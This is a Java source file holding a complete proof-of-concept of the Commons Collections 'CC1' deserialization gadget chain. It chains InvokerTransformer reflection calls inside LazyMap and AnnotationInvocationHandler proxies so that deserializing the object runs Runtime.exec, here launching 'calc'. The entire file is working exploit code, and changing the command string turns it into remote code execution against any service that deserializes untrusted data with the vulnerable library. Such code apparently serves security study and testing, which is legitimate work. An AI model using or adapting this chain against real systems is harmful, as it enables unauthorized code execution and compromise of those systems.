package cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Documented;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        ChainedTransformer transformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        });

        Map lazyMap = LazyMap.decorate(new HashMap<>(), transformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(Documented.class, lazyMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

        InvocationHandler handler2 = (InvocationHandler) cons.newInstance(Documented.class, proxyMap);

//        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
//        oos.writeObject(handler2);
//        oos.close();
//
//        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc1.bin"));
//        ois.readObject();

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(handler2);
        new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())).readObject();

    }
}
